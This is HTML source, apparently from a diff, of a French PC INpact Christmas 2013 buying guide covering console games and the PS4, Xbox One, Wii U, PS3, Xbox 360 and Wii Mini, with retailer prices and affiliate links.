+&lt;li&gt;&lt;strong&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/2.htm?_id=682" target="_blank"&gt;Nos meilleurs bons plans du moment&lt;/a&gt; (&lt;a href="http://www.pcinpact.com/rss/bonsplans.xml" target="_blank"&gt;Flux RSS&lt;/a&gt; / &lt;a href="https://www.facebook.com/TeamBP.PCi" target="_blank"&gt;Facebook &lt;/a&gt;/ &lt;a href="https://plus.google.com/100308277871283917460/posts" target="_blank"&gt;Google+&lt;/a&gt; / &lt;a href="https://twitter.com/tbp_pci" target="_blank"&gt;Twitter&lt;/a&gt;)&lt;/strong&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;p&gt;Bonne lecture, et bonne chance pour vos emplettes !&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;div style="text-align: center;"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/106533-dossier-de-noel-introduction.png" alt="Dossier de No&amp;euml;l Introduction" /&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/3.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141415.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/4.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141417.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/5.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141418.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/6.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/123043.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/7.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141408.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/8.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141409.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/9.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141410.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/10.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/123029.png" alt="Dossier de No&amp;euml;l 2012" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/11.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141404.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/12.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141405.png" alt="Dossier de No&amp;euml;l 2012" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/13.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141416.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/14.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/123042.png" alt="Dossier de No&amp;euml;l 2012" /&gt;&lt;/a&gt;&lt;/div&gt;
+&lt;div style="text-align: center;"&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/15.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141411.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/16.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/141412.png" alt="Dossier de No&amp;euml;l 2013" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/17.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/123038.png" alt="Dossier de No&amp;euml;l 2012" /&gt;&lt;/a&gt;&lt;a href="http://www.pcinpact.com/dossier/682-noel-2013-notre-selection-des-meilleurs-cadeaux/18.htm?_id=682" target="_self"&gt;&lt;img style="border: 0;" src="http://static.pcinpact.com/images/bd/news/123039.png" alt="Dossier de No&amp;euml;l 2012" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p&gt;Une console de jeux, cela ne sert pas &amp;agrave; grand-chose, &amp;agrave; moins d'&amp;ecirc;tre un mordu de contenus multim&amp;eacute;dias et de s'en servir pour les consulter. Il est donc indispensable que nous vous proposions quelques titres pour aller avec votre machine pr&amp;eacute;f&amp;eacute;r&amp;eacute;e. Et cela tombe plut&amp;ocirc;t bien, cette ann&amp;eacute;e la moisson de jeux est plut&amp;ocirc;t riche, notamment gr&amp;acirc;ce &amp;agrave; l'arriv&amp;eacute;e de la PlayStation 4 et de la Xbox One.&lt;/p&gt;
+&lt;h3&gt;Killzone Shadow Fall : si Battlefield et Call of Duty vous lassent&lt;/h3&gt;
+&lt;p&gt;Du c&amp;ocirc;t&amp;eacute; de la PlayStation 4, le titre exclusif le plus notable disponible au lancement n'est autre que &lt;em&gt;Killzone Shadow Fall&lt;/em&gt;. D&amp;eacute;velopp&amp;eacute; par &amp;nbsp;le studio Guerrilla, propri&amp;eacute;t&amp;eacute; de Sony Computer Entertainment, il arrive &amp;agrave; un moment difficile sur le march&amp;eacute; puisqu'il doit se frayer un chemin entre les feux crois&amp;eacute;s de &lt;a href="http://www.prixdunet.com/s/Battlefield+4.html" target="_blank"&gt;&lt;em&gt;Battlefield 4&lt;/em&gt;&lt;/a&gt; et de &lt;a href="http://www.prixdunet.com/s/Call+of+Duty+%3A+Ghosts.html" target="_blank"&gt;&lt;em&gt;Call of Duty : Ghosts&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/128153.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-128153.png" alt="Killzone Shadowfall" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour tirer son &amp;eacute;pingle du jeu, Killzone peut compter sur sa r&amp;eacute;alisation plut&amp;ocirc;t r&amp;eacute;ussie, avec des graphismes convaincants, &amp;agrave; la hauteur de ce que peut proposer un PC r&amp;eacute;cent. C&amp;ocirc;t&amp;eacute; gameplay, la principale originalit&amp;eacute; est &amp;agrave; chercher du c&amp;ocirc;t&amp;eacute; du drone baptis&amp;eacute; &amp;laquo; OWL &amp;raquo;. Celui-ci vous accompagne partout et peut servir de tyrolienne, peut pirater des terminaux, d&amp;eacute;ployer un bouclier, se transformer en tourelle de d&amp;eacute;fense et bien d'autres choses encore.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver KillZone Shadow Fall chez Amazon : &lt;a href="http://pdn.im/1enYvBH" target="_blank"&gt;54,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver KillZone Shadow Fall &amp;agrave; la Fnac : &lt;a href="http://pdn.im/185wn2b" target="_blank"&gt;56,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Zoo Tycoon : Kawaii&lt;/h3&gt;
+&lt;p&gt;Moins sanglant que Killzone, Zoo Tycoon est l'une des bonnes surprises qui accompagnent le lancement de la &lt;a href="http://www.prixdunet.com/s/Xbox+One.html" target="_blank"&gt;Xbox One&lt;/a&gt;. Si les graphismes ne sont pas vraiment son point fort, il s'agit d'une exp&amp;eacute;rience sympathique destin&amp;eacute;e aux petits comme aux grands. Kinect est &amp;eacute;videmment de la partie et vous permettra d'arroser des &amp;eacute;l&amp;eacute;phants, faire des grimaces aux singes, qui vous imiteront et nourrir vous-m&amp;ecirc;me vos animaux. C'est mignon et inutile donc indispensable diront certains.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/135917.jpeg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-135917.jpeg" alt="Zoo Tycoon Xbox One" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;L'aspect gestion du titre n'est pas excessivement pouss&amp;eacute;, ce qui le destine &amp;agrave; un public famillial et plut&amp;ocirc;t jeune plut&amp;ocirc;t qu'aux joueurs assidus cherchant le challenge &amp;agrave; tout prix. Par ailleurs sachez que Microsoft proposera r&amp;eacute;guli&amp;egrave;rement aux joueurs de prendre part &amp;agrave; des &amp;eacute;v&amp;eacute;nements ayant trait &amp;agrave; des faits divers ayant lieu dans le monde. Ainsi si des braconniers s'en prennent &amp;agrave; un troupeau d'&amp;eacute;lephants pour leur ivoire, un d&amp;eacute;fi sera confi&amp;eacute; aux joueurs consistant &amp;agrave; faire reproduire leurs &amp;eacute;l&amp;eacute;phants pour repeupler l'esp&amp;egrave;ce. Si le defi est rempli, Microsoft enverra des dons &amp;agrave; des associations de protection des animaux sauvages.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Retrouver Zoo Tycoon chez Amazon : &lt;a href="http://pdn.im/1hdeerz" target="_blank"&gt;57,84 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver Zoo Tycoon chez Cdiscount : &lt;a href="http://pdn.im/1aMOPAA" target="_blank"&gt;59,65 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Retrouver Zoo Tycoon &amp;agrave; la Fnac : &lt;a href="http://pdn.im/192D9pq" target="_blank"&gt;60,25 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Pok&amp;eacute;mon X et Y : vos enfants vont les r&amp;eacute;clamer&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Sur la Nintendo 3DS et ses d&amp;eacute;riv&amp;eacute;s, la bande &amp;agrave; Pikachu devrait encore faire des ravages pour les f&amp;ecirc;tes de fin d'ann&amp;eacute;e. Comme d'habitude le constructeur japonais a lanc&amp;eacute; simultan&amp;eacute;ment deux versions diff&amp;eacute;rentes pour cette nouvelle g&amp;eacute;n&amp;eacute;ration de Pok&amp;eacute;mon : X et Y. Certains Pok&amp;eacute;mon ne sont pr&amp;eacute;sents que dans une des deux cartouches, il faudra donc faire preuve de patience, et trouver des amis avec qui proc&amp;eacute;der &amp;agrave; des &amp;eacute;changes avant de tous les attrapper.&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/125850.png" alt="Pokemon XY" width="450" /&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pok&amp;eacute;mon passe donc &amp;agrave; l'&amp;egrave;re de la 3D et proposera aux joueurs de parcourir un univers fortement inspir&amp;eacute; par la France. En effet, la carte ressemble &amp;agrave; la moiti&amp;eacute; nord du pays, et la capitale est surmont&amp;eacute;e d'une gigantesque tour radio aux airs de Tour Eiffel. Le titre est disponible sur 3DS, et fonctionnera &amp;eacute;galement sur la r&amp;eacute;cente 2DS, les effets en 3D en moins.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Amazon : &lt;a href="http://pdn.im/1hdeSFk" target="_blank"&gt;34 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Cdiscount : &lt;a href="http://pdn.im/1jBgmGr" target="_blank"&gt;34 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Fnac : &lt;a href="http://pdn.im/192BMHt" target="_blank"&gt;34,50 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;Assassin's Creed IV Black Flag : la piraterie revient &amp;agrave; la mode&amp;nbsp;&lt;/h3&gt;
+&lt;p&gt;Chez Ubisoft, un an tout juste apr&amp;egrave;s un &lt;em&gt;Assassin's Creed III&lt;/em&gt; plut&amp;ocirc;t r&amp;eacute;ussi nous plongeant au c&amp;oelig;ur de l'am&amp;eacute;rique profonde, c'est au tour de l'univers de la piraterie d'&amp;ecirc;tre &amp;agrave; l'honneur dans&lt;em&gt; Assassin's Creed IV : Black Flag&lt;/em&gt;. En effet, l'action prend place dans les Antilles et m&amp;ecirc;le assassinats, pillages de gallions et jambes de bois.&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;[PDN]778124[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Un mode multijoueurs est &amp;eacute;galement de la partie, mais il ne s'agit que d'un copier coller de celui de l'&amp;eacute;pisode pr&amp;eacute;c&amp;eacute;dent, ce qui est plut&amp;ocirc;t dommage. On regrettera aussi l'absence de &lt;a href="http://fr.wikipedia.org/wiki/Duel_d'insultes_au_sabre" target="_blank"&gt;duels d'insultes au sabre&lt;/a&gt;, qui &amp;agrave; d&amp;eacute;fait d'&amp;ecirc;tre indispensables auraient form&amp;eacute; un tr&amp;egrave;s bon clin d'&amp;oelig;il &amp;agrave; la s&amp;eacute;rie &lt;em&gt;Monkey Island&lt;/em&gt;.&lt;/p&gt;
+&lt;p&gt;[PDN]778120[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Quoi qu'il en soit le titre a re&amp;ccedil;u &lt;a href="http://www.pcinpact.com/news/84161-revue-presse-assassins-creed-iv-black-flag-part-a-abordage.htm" target="_blank"&gt;de plut&amp;ocirc;t bonnes critiques&lt;/a&gt; et est &lt;a href="http://www.prixdunet.com/s/assassin+creed+4.html" target="_blank"&gt;disponible&lt;/a&gt; sur la plupart des consoles de salon, de la Wii U, jusqu'&amp;agrave; la PlayStation 4. Certains fabricants le propose aussi en bundle avec leurs ordinateurs portables ou carte graphiques.&lt;/p&gt;
+&lt;h3&gt;Super Mario 3D World : d&amp;eacute;j&amp;agrave; 30 ans de carri&amp;egrave;re&lt;/h3&gt;
+&lt;p&gt;En 1983 Mario faisait sa premi&amp;egrave;re apparition dans un jeu centr&amp;eacute; autour de son personnage : &lt;em&gt;Mario Bros Arcade&lt;/em&gt;. Depuis le plombier &amp;agrave; la salopette bleue et &amp;agrave; la moustache fournie est toujours au mieux de sa forme et a connu l'ensemble des consoles de Nintendo, la Wii U et la 3DS ne font donc pas exception.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/50183-super-mario-galaxy.jpg" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-50183-super-mario-galaxy.jpg" alt="" width="450" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;C'est d'ailleurs sur ces deux consoles que sort Super Mario 3D World. Mario dit adieu aux niveaux en 2D et revient dans un opus en 3D, bien plus joli que le viellissant, mais culte Super Mario 64. Un accent particulier est mis sur le jeu en multijoueurs, puisque jusque 4 personnes pourront s'affronter dans l'ensemble des niveaux du jeu.&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Amazon : &lt;a href="http://pdn.im/1hdeqH7" target="_blank"&gt;52 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Fnac : &lt;a href="http://pdn.im/192BHn1" target="_blank"&gt;54,90 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Rue du Commerce : &lt;a href="http://pdn.im/192BLmP" target="_blank"&gt;54,14 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;&lt;p&gt;Cette ann&amp;eacute;e, les f&amp;ecirc;tes de fin d'ann&amp;eacute;e sont le th&amp;eacute;&amp;acirc;tre d'une lutte sans merci du c&amp;ocirc;t&amp;eacute; des consoles de jeux. En effet, en l'espace d'une semaine, Microsoft et Sony auront lanc&amp;eacute; tour &amp;agrave; tour leurs nouvelles machines : la Xbox One pour l'un, et la PlayStation 4 pour l'autre (voir &lt;a href="http://www.pcinpact.com/dossier/653-xbox-one-de-microsoft-le-dossier/1.htm" target="_blank"&gt;notre dossier&lt;/a&gt;), le tout sous l'&amp;oelig;il attentif de Nintendo et de sa &lt;a href="http://www.prixdunet.com/s/256/Wii+U.html" target="_blank"&gt;Wii U&lt;/a&gt;. Cette derni&amp;egrave;re a quelque peu pein&amp;eacute; pour trouver son public, elle peut compter cependant sur de gros titres arriv&amp;eacute;s en renfort ces derni&amp;egrave;res semaines pour jouer les arbitres.&lt;/p&gt;
+&lt;h3&gt;La PlayStation 4, victime de son succ&amp;egrave;s&lt;/h3&gt;
+&lt;p&gt;Si l'on s'en tient aux chiffres des pr&amp;eacute;commandes et aux &lt;a href="http://www.pcinpact.com/news/84270-ps4-contre-xbox-one-retournement-fin-parcours-chez-nos-lecteurs.htm" target="_blank"&gt;trois&amp;nbsp;sondages &lt;/a&gt;que nous vous avons propos&amp;eacute;s, la PlayStation 4 semble &amp;ecirc;tre la grande gagnante du d&amp;eacute;but de la huiti&amp;egrave;me g&amp;eacute;n&amp;eacute;ration de consoles. Si bien qu'il sera en pratique difficile de trouver la console en magasins &amp;agrave; son lancement et pendant les semaines qui suivront en raison du grand nombre de pr&amp;eacute;commandes enregistr&amp;eacute;es.&lt;/p&gt;
+&lt;p&gt;[PDN]772720[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Ceci dit, le salut se trouvera peut &amp;ecirc;tre du c&amp;ocirc;t&amp;eacute; de l'unique pack propos&amp;eacute; par le constructeur, comprenant la console, le jeu &lt;em&gt;Killzone : Shadow Fall&lt;/em&gt;, la PlayStation Camera et deux manettes DualShock 4 que certains revendeurs ont en surnombre. Celui-ci se n&amp;eacute;gocie autour des 499 euros et repr&amp;eacute;sente une offre plut&amp;ocirc;t int&amp;eacute;ressante &amp;agrave; condition de vouloir du titre fourni. Si la camera et la seconde manette ne vous int&amp;eacute;ressent pas, il reste possible d'opter pour un pack comprenant seulement la console et &lt;em&gt;Killzone : Shadow Fall&lt;/em&gt; pour 439 euros.&amp;nbsp;&lt;/p&gt;
+&lt;h3&gt;Microsoft Xbox One : l'outsider&lt;/h3&gt;
+&lt;p&gt;On ne donnait pas cher de la peau de la Xbox One de Microsoft apr&amp;egrave;s les annonces plus que controvers&amp;eacute;es au sujet de la revente de jeux d'occasion ou de la n&amp;eacute;cessit&amp;eacute; d'une connexion permanente. Cependant depuis ces premiers travers, la console essaye de se rendre plus s&amp;eacute;duisante, notamment gr&amp;acirc;ce &amp;agrave; un catalogue de jeux plus fourni au lancement, gr&amp;acirc;ce &amp;agrave; quelques exclusivit&amp;eacute;s d'assez bonne facture. Elle mise &amp;eacute;galement sur ses fonctionnalit&amp;eacute;s multim&amp;eacute;dia pour prendre la place de votre box d'op&amp;eacute;rateur dans le salon, gr&amp;acirc;ce &amp;agrave; son entr&amp;eacute;e HDMI ainsi que par les applications de Canal+ ou encore celle d'Orange.&lt;/p&gt;
+&lt;p&gt;[PDN]792316[/PDN]&lt;/p&gt;
+&lt;p&gt;&lt;br /&gt;Du c&amp;ocirc;t&amp;eacute; des packs disponibles au lancement, le choix n'est pas vraiment plus fourni que chez Sony avec trois options &amp;agrave; votre disposition. La premi&amp;egrave;re consiste &amp;agrave; prendre une version standard de la console, sans jeu pour 499 euros, les deux autres prennent la forme de packs avec &lt;a href="http://www.prixdunet.com/consoles-de-jeux/microsoft-xbox-one-call-of-duty-ghosts-811468.html" target="_blank"&gt;&lt;em&gt;Call of Duty Ghosts&lt;/em&gt;&lt;/a&gt; ou&lt;a href="http://www.prixdunet.com/consoles-de-jeux/microsoft-xbox-one-edition-day-one-2013-fifa-14-811466.html" target="_blank"&gt; &lt;em&gt;FIFA 14&lt;/em&gt;&lt;/a&gt; vendus 529 euros. Malheureusement la version&amp;nbsp;&amp;laquo; Day One &amp;raquo; qui proposait &lt;em&gt;FIFA 14&lt;/em&gt; sans surco&amp;ucirc;t n'est d&amp;eacute;sormais plus disponible.&lt;/p&gt;
+&lt;h3&gt;Nintendo Wii U : le catalogue devient de plus en plus fourni&lt;/h3&gt;
+&lt;p&gt;Si &amp;agrave; son lancement l'an dernier la Wii U faisait p&amp;acirc;le figure avec son catalogue, ces derniers mois elle a largement rattrap&amp;eacute; son retard gr&amp;acirc;ce aux efforts de Nintendo. En effet, l'arriv&amp;eacute;e prochaine de &lt;em&gt;Mario Kart&lt;/em&gt;, et celle d'ici No&amp;euml;l de &lt;em&gt;Super Mario 3D World&lt;/em&gt;, ou encore la r&amp;eacute;cente sortie de &lt;em&gt;Monster Hunter 3&lt;/em&gt; et de&lt;em&gt; Zelda The Wind Waker HD&lt;/em&gt; sont capables de redonner un coup de fouet aux ventes mais surtour de faire grandir l'int&amp;eacute;r&amp;ecirc;t du public pour cette console.&lt;/p&gt;
+&lt;p&gt;[PDN]735355[/PDN]&lt;br /&gt;&lt;br /&gt;Pour parvenir &amp;agrave; ses fins, Nintendo a mis en vente &lt;a href="http://www.prixdunet.com/s/256/Wii+U.html" target="_blank"&gt;de nombreux packs&lt;/a&gt; plut&amp;ocirc;t int&amp;eacute;ressants. Si la console seule est vendue &amp;agrave; partir de 265 euros en version 8 Go et &amp;nbsp;de 299 euros en version 32 Go, des packs &amp;nbsp;comprenant la version 32 Go ainsi qu'un jeu sont disponibles chez de nombreux revendeurs.&lt;/p&gt;
+&lt;p&gt;[PDN]735353[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Parmi les titres en question on retrouve&lt;em&gt; The Legend of Zelda : Wind Waker HD&lt;/em&gt;, &lt;em&gt;Super Mario Bros U&lt;/em&gt; et &lt;em&gt;New Super Luigi U&lt;/em&gt; ou encore &lt;em&gt;Lego City Undercover&lt;/em&gt;. Il y a donc l'embarras du choix aussi bien pour les grands que pour les petits.&lt;/p&gt;
+&lt;h3&gt;La PlayStation 3 n'a pas encore dit son dernier mot&lt;/h3&gt;
+&lt;p&gt;Si la bataille fait rage du c&amp;ocirc;t&amp;eacute; des consoles de nouvelle g&amp;eacute;n&amp;eacute;ration, la pr&amp;eacute;c&amp;eacute;dente est encore loin d'avoir rendu son tablier. Par exemple la PlayStation 3 n'a jamais &amp;eacute;t&amp;eacute; aussi abordable qu'aujourd'hui et profite d'un catalogue plus que fourni, et ce quel que soit le type de jeux que vous affectionnez.&lt;/p&gt;
+&lt;p&gt;[PDN]752397[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;La console est disponible &amp;agrave; partir de &lt;a href="[16:10:47]%20S&amp;eacute;bastien Gavois: http:/pdn.im/1d0Vs0U" target="_blank"&gt;219 euros&lt;/a&gt; en version 12 Go avec deux manettes DualShock 3, mais sans jeu offert. &lt;a href="http://pdn.im/1d0VpSX" target="_blank"&gt;Pour dix euros de plus&lt;/a&gt; un autre pack ajoute au deuxi&amp;egrave;me contr&amp;ocirc;leur une copie de FIFA 13.&lt;/p&gt;
+&lt;p&gt;[PDN]812502[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour 100 euros de plus, il est possible d'opter pour un pack comprenant la console &amp;eacute;quip&amp;eacute;e d'un disque dur de 500 Go et fournie avec deux jeux r&amp;eacute;cents : &lt;em&gt;Beyond Two Souls&lt;/em&gt; et l'excellent &lt;em&gt;The Last of Us&lt;/em&gt;. Par contre, il faudra faire une croix sur la seconde manette. Une affaire de compromis.&lt;/p&gt;
+&lt;h3&gt;La Xbox 360 n'a pas non plus rendu les armes&lt;/h3&gt;
+&lt;p&gt;Microsoft non plus n'abandonne pas sa console actuellement en vente au profit de la nouvelle g&amp;eacute;n&amp;eacute;ration. D'ailleurs le constructeur a annonc&amp;eacute; pendant l'E3 en juin dernier un restylage de la Xbox 360 afin que son apparence se rapproche de celle de la Xbox One.&lt;/p&gt;
+&lt;p&gt;[PDN]559922[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Peu de packs sont disponibles, on notera donc que la console seule, dans sa version dot&amp;eacute;e de 4 Go de stockage se n&amp;eacute;gocie autour des &lt;a href="http://www.prixdunet.com/s/256/Xbox+360.html" target="_blank"&gt;159 euros&lt;/a&gt;, tandis que le mod&amp;egrave;le &amp;eacute;quip&amp;eacute; d'un disque dur de 250 Go et livr&amp;eacute; avec FIFA 14 est disponible &amp;agrave; partir de &lt;a href="http://www.prixdunet.com/s/256/Xbox+360.html" target="_blank"&gt;199 euros&lt;/a&gt; et nous parait un peu plus int&amp;eacute;ressant.&lt;/p&gt;
+&lt;p&gt;[PDN]589202[/PDN]&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Pour le m&amp;ecirc;me tarif, la console est aussi propos&amp;eacute;e en version 4 Go mais avec Kinect. Enfin, le pack comprenant la console en version 250 Go, ainsi que Tomb Raider et Halo 4, semble &amp;ecirc;tre la meilleure option, d'autant qu'il ne co&amp;ucirc;te que&lt;a href="http://pdn.im/1d0VrtU" target="_blank"&gt; 199 euros&lt;/a&gt;.&lt;/p&gt;
+&lt;h3&gt;La Wii n'est plus produite, sauf en version Mini&lt;/h3&gt;
+&lt;p&gt;Chez Nintendo, un an apr&amp;egrave;s le lancement de la Wii U, la page Wii est bient&amp;ocirc;t tourn&amp;eacute;e, puisque suite &amp;agrave; l'arr&amp;ecirc;t de la production de la console d&amp;eacute;cid&amp;eacute; en octobre dernier, la machine pourrait bien vivre ici son dernier No&amp;euml;l. Toutefois, la Wii Mini est quant &amp;agrave; elle encore fabriqu&amp;eacute;e, mais pour combien de temps encore ?&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p style="text-align: center;"&gt;&lt;a class="fancyimg" href="http://static.pcinpact.com/images/bd/news/128346.png" rel="group_fancy"&gt;&lt;img src="http://static.pcinpact.com/images/bd/news/medium-128346.png" alt="wii mini" width="400" /&gt;&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&amp;nbsp;&lt;/p&gt;
+&lt;p&gt;Trouver un pack avec la Wii blanche ou noire vous demandera beaucoup de recherches puisque plus un seul revendeur majeur n'en propose. Il faudra donc fouiller du c&amp;ocirc;t&amp;eacute; de l'occasion et des petites boutiques pour mettre la main sur l'un d'entre eux. Sinon, vous ne retrouverez que la Wii Mini, &amp;agrave; partir de 99 euros, sans jeux. Notez que celle-ci est totalement d&amp;eacute;pourvue de fonctionnalit&amp;eacute;s en ligne, comme nous vous l'expliquions dans&lt;a href="http://www.pcinpact.com/dossier/655-faut-il-craquer-pour-la-wii-mini/1.htm" target="_blank"&gt; le dossier qui lui est consacr&amp;eacute;.&lt;/a&gt;&lt;/p&gt;
+&lt;ul&gt;
+&lt;li&gt;Amazon : &lt;a href="http://pdn.im/1bOgtKh" target="_blank"&gt;96 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Fnac : &lt;a href="http://pdn.im/181TA59" target="_blank"&gt;109,16 euros&lt;/a&gt;&lt;/li&gt;
+&lt;li&gt;Materiel.net : &lt;a href="http://pdn.im/1bOgA8V" target="_blank"&gt;109,98 euros&lt;/a&gt;&lt;/li&gt;
+&lt;/ul&gt;
+&lt;h3&gt;La PlayStation Vita est toujours l&amp;agrave;, mais manque de titres phare&lt;/h3&gt;
